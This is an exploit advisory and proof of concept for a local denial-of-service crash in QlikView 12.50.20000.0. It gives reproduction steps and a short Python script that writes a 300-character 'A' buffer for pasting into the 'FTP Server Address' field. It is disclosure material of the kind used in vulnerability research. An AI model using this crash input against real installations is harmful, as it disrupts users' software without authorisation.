QlikView 12.50.20000.0 Denial Of Service

2020.08.09
Credit: Luis Martinez
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC) # Discovery by: Luis Martinez # Discovery Date: 2020-08-03 # Vendor Homepage: https://www.qlik.com # Software Link: https://www.qlik.com/us/trial/qlik-sense-business # Tested Version: 12.50.20000.0 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code: QlikView_12.50.20000.0.py # 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard # 3.- Open "QlikView 12" # 4.- File -> "Open FTP ..." # 5.- Paste ClipBoard on "FTP Server Address" # 6.- Connect # 7.- Crashed #!/usr/bin/env python buffer = "\x41" * 300 f = open ("QlikView_12.50.20000.0.txt", "w") f.write(buffer) f.close()


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